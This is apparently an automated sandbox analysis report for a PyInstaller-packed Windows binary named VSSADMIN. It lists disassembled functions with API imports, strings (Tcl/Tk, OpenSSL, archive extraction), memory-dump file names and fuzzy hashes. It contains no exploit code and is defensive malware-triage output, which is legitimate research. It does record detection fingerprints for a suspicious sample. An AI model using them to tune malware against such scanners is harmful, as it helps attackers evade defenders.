Tcl_GetVar2, xrefs: 00007FF614C7620E
GetProcAddress, xrefs: 00007FF614C75FA0
Tcl_FindExecutable, xrefs: 00007FF614C75FE1
Failed to get address for Tcl_Alloc, xrefs: 00007FF614C763E2
Tcl_FinalizeThread, xrefs: 00007FF614C76056
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF614C761DA
Failed to get address for Tcl_GetString, xrefs: 00007FF614C762A2
Tcl_Init, xrefs: 00007FF614C75F80
Tcl_ThreadAlert, xrefs: 00007FF614C761E6
Failed to get address for Tcl_CreateThread, xrefs: 00007FF614C760C2
Failed to get address for Tk_Init, xrefs: 00007FF614C76432
Tcl_Free, xrefs: 00007FF614C763EE
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF614C76202
Tcl_CreateObjCommand, xrefs: 00007FF614C7625E
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF614C76022
Tcl_EvalEx, xrefs: 00007FF614C76376
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF614C7631A
Tcl_GetString, xrefs: 00007FF614C76286
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF614C7618A
Tcl_ConditionFinalize, xrefs: 00007FF614C76146
Failed to get address for Tcl_Init, xrefs: 00007FF614C75F99
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF614C7645A
Tcl_DoOneEvent, xrefs: 00007FF614C76006
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF614C7613A
Failed to get address for Tcl_SetVar2, xrefs: 00007FF614C76252
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF614C762CA
Tk_Init, xrefs: 00007FF614C76416
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF614C76342
Tcl_CreateThread, xrefs: 00007FF614C760A6
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF614C76072
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF614C762F2
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF614C760EA
Tcl_DeleteInterp, xrefs: 00007FF614C7607E
Tcl_ConditionNotify, xrefs: 00007FF614C7616E
Failed to get address for Tcl_Free, xrefs: 00007FF614C7640A
Failed to get address for Tcl_MutexLock, xrefs: 00007FF614C76112
Failed to get address for Tcl_GetVar2, xrefs: 00007FF614C7622A
Tcl_EvalFile, xrefs: 00007FF614C7634E
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF614C7627A
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF614C76162
Tcl_ConditionWait, xrefs: 00007FF614C76196
Failed to get address for Tcl_EvalEx, xrefs: 00007FF614C76392
Tcl_MutexUnlock, xrefs: 00007FF614C7611E
Tcl_NewByteArrayObj, xrefs: 00007FF614C762D6

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction ID: cc77478cef4e4865c127855ced30ecffb89254863447c57f9a8509bea91ed954
Opcode Fuzzy Hash: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction Fuzzy Hash: E4E18564A0DF43A2FE558B18F9D017423B5AF17FB9BC46037C84E87664EF7EA5588201

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF1C1C Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 267COMMON

Download Yara Rule

APIs

00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FCA1893
00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FCA19BC
00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FCA19CF
00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FCA1B6C
00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FCA1B7F

Strings

type: , xrefs: 00007FFD3FCA19FE, 00007FFD3FCA1BAE
..\s\crypto\asn1\asn_mime.c, xrefs: 00007FFD3FCA180B, 00007FFD3FCA194D, 00007FFD3FCA19E5, 00007FFD3FCA1A61, 00007FFD3FCA1AE5, 00007FFD3FCA1B17, 00007FFD3FCA1B95, 00007FFD3FCA1C1C
application/pkcs7-mime, xrefs: 00007FFD3FCA1B75
application/pkcs7-signature, xrefs: 00007FFD3FCA19C5
multipart/signed, xrefs: 00007FFD3FCA1889
application/x-pkcs7-signature, xrefs: 00007FFD3FCA19B2
boundary, xrefs: 00007FFD3FCA18A4
application/x-pkcs7-mime, xrefs: 00007FFD3FCA1B62
content-type, xrefs: 00007FFD3FCA1844

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: ..\s\crypto\asn1\asn_mime.c$application/pkcs7-mime$application/pkcs7-signature$application/x-pkcs7-mime$application/x-pkcs7-signature$boundary$content-type$multipart/signed$type:
API String ID: 3568877910-3630080479
Opcode ID: cb09d76981884f911073ec79770a94529b3f76ec59753b3682a11d1b1a51dff2
Instruction ID: b06032287b734661b633492b38e9e5e878e76ad82238964c7e181ceaa8d257ae
Opcode Fuzzy Hash: cb09d76981884f911073ec79770a94529b3f76ec59753b3682a11d1b1a51dff2
Instruction Fuzzy Hash: 0BC19BA2B4C74A81EE68EB21A4A06BD6391AF81784F449036DF0D07786EF3DF545FB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF4E44 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 205registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FFD3FCFDE44
GetFileType.KERNEL32 ref: 00007FFD3FCFDE55
WriteFile.KERNEL32 ref: 00007FFD3FCFDEB9
MultiByteToWideChar.KERNEL32 ref: 00007FFD3FCFDF26
RegisterEventSourceW.ADVAPI32 ref: 00007FFD3FCFE0D4
ReportEventW.ADVAPI32 ref: 00007FFD3FCFE116
DeregisterEventSource.ADVAPI32 ref: 00007FFD3FCFE11F

Strings

, xrefs: 00007FFD3FCFDF40
OpenSSL: FATAL, xrefs: 00007FFD3FCFE12D
OpenSSL, xrefs: 00007FFD3FCFE0CD
no stack?, xrefs: 00007FFD3FCFDF0C

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite
String ID: $OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 1270133462-2963566556
Opcode ID: 75131406242315063b9eb8b61f751d263e868ede2efdb133bf2f38d68100ef13
Instruction ID: fb691c9021c1b0dfbaeb33edde8e1710eb004080f9c02d8589ba263c4f07db13
Opcode Fuzzy Hash: 75131406242315063b9eb8b61f751d263e868ede2efdb133bf2f38d68100ef13
Instruction Fuzzy Hash: 1691CF73B08B8A86EB248F24E8A45AD7760FB45B94F404736EB5D07A95EF3CE255D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF614C71559
Failed to extract %s: failed to open archive file!, xrefs: 00007FF614C714CA
fopen, xrefs: 00007FF614C71491
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF614C715E5
fseek, xrefs: 00007FF614C71500
fread, xrefs: 00007FF614C715EC
fwrite, xrefs: 00007FF614C715DC
Failed to extract %s: failed to open target file!, xrefs: 00007FF614C7148A
malloc, xrefs: 00007FF614C71560
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF614C715D5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF614C714F9

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: 41c0502262cf3944fd249ac30d9296d3fd4dc7e2994cda9a83d5d30045412d46
Instruction ID: 002627bfc82ce9889b8d8cd2fb871a574f5cee74e2ef7071d5e6b6c9794b3c83
Opcode Fuzzy Hash: 41c0502262cf3944fd249ac30d9296d3fd4dc7e2994cda9a83d5d30045412d46
Instruction Fuzzy Hash: FC51AC61B0CE8292EA109B15E4D56B963B2AF86FF9F444133DE0D87796EE3EE5458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C778D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF614C7687A,?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77910
OpenProcessToken.ADVAPI32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77921
GetTokenInformation.ADVAPI32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77943
GetLastError.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C7794D
GetTokenInformation.ADVAPI32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C7798A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF614C7799C
CloseHandle.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C779B4
LocalFree.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C779E6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF614C77A0D
CreateDirectoryW.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77A1E

Strings

S-1-3-4, xrefs: 00007FF614C779BF
D:(A;;FA;;;%s), xrefs: 00007FF614C779C9

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 76bb3550803a78cfa8e176607768f7e16a77bb2e97f93ab652bde795ceb62436
Instruction ID: d6865ce8e8da8e6b9fc4ba81797bd2e0a7ba25aab07dd6370f01fbdfa9e29f00
Opcode Fuzzy Hash: 76bb3550803a78cfa8e176607768f7e16a77bb2e97f93ab652bde795ceb62436
Instruction Fuzzy Hash: CF41AF3161DE8692EB109F64E4846AA7371FB86BB5F401232EA9E876D5DF3DE404C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF32B0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

00007FFD5FCF8C30.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFD3FDEAF1C
00007FFD5FD0F8C0.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFD3FDEAF31
00007FFD5FCF8C30.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFD3FDEAF43

Strings

millisecs, xrefs: 00007FFD3FDEAF27
secs, xrefs: 00007FFD3FDEAEED
..\s\crypto\ts\ts_conf.c, xrefs: 00007FFD3FDEAE90, 00007FFD3FDEAFDC
accuracy, xrefs: 00007FFD3FDEAE53, 00007FFD3FDEAEA3, 00007FFD3FDEAFF4
p, xrefs: 00007FFD3FDEAFD4
microsecs, xrefs: 00007FFD3FDEAF4E

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: ..\s\crypto\ts\ts_conf.c$accuracy$microsecs$millisecs$p$secs
API String ID: 3568877910-1596076588
Opcode ID: 7fedaee5a43b9f96133ba3337b9998908fec395ca8a45f4228c1692c16d9240c
Instruction ID: 1bfa46f2e54ce71a7e4e031d5e60bc146e057128f2cf9cafb53a837b057d3d39
Opcode Fuzzy Hash: 7fedaee5a43b9f96133ba3337b9998908fec395ca8a45f4228c1692c16d9240c
Instruction Fuzzy Hash: 1851C1A2B1C70F96EA0DAB22A4346B93390BF94B84F440532EF4E07791DE3CE405E790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF614C7205B
SelectObject.GDI32 ref: 00007FF614C720A2
DrawTextW.USER32 ref: 00007FF614C720C5
SelectObject.GDI32 ref: 00007FF614C720DB
ReleaseDC.USER32 ref: 00007FF614C720EB
MoveWindow.USER32 ref: 00007FF614C7213B
MoveWindow.USER32 ref: 00007FF614C7217B
MoveWindow.USER32 ref: 00007FF614C721CE
MoveWindow.USER32 ref: 00007FF614C72216

Strings

P%, xrefs: 00007FF614C720AF

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: 6a098fbf13fc729f86e8d03fb4107a33b8e2e945738758404f7dd677c4b02f99
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 33510426608BA187DA349F26E4581BAB7B1FB98B65F004122EBCF83684DF3DD045DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C774E0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF614C7269E,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C77507
FormatMessageW.KERNEL32 ref: 00007FF614C77536
WideCharToMultiByte.KERNEL32 ref: 00007FF614C7758C

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

Strings

FormatMessageW, xrefs: 00007FF614C77547
No error messages generated., xrefs: 00007FF614C77540
PyInstallem: FormatMessageW failed., xrefs: 00007FF614C77553
PyInstallem: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF614C775A9
WideCharToMultiByte, xrefs: 00007FF614C7759D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77596

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstallem: FormatMessageW failed.$PyInstallem: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-3505189403
Opcode ID: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction ID: 9e498f8d3759ac16d0be59944cde15ce73329b611ef7225304972c15ac2f5965
Opcode Fuzzy Hash: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction Fuzzy Hash: DE217F31A0CE4792EB609B14E8C42B672B5FB4ABA9F844037E54EC36A4EF7DE505C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C80258 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C80298
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C80660
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C808FF

Strings

f, xrefs: 00007FF614C804E5
f, xrefs: 00007FF614C80330
p, xrefs: 00007FF614C803A2
f, xrefs: 00007FF614C8039A
p, xrefs: 00007FF614C8033D

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: fa9940231bde350a5f98b79da4d3c21430d5b5273eb9d997a56d31e660f397a8
Instruction ID: aece6c676b0adb97a7f5f1c0a70427e95a1acb329a6bcbdebd219e3f3b4a6242
Opcode Fuzzy Hash: fa9940231bde350a5f98b79da4d3c21430d5b5273eb9d997a56d31e660f397a8
Instruction Fuzzy Hash: 2612B4B2E0C94786FB205B16E0946BA7271FB82F64F864137D699876C4DF3CE480EB54

Uniqueness

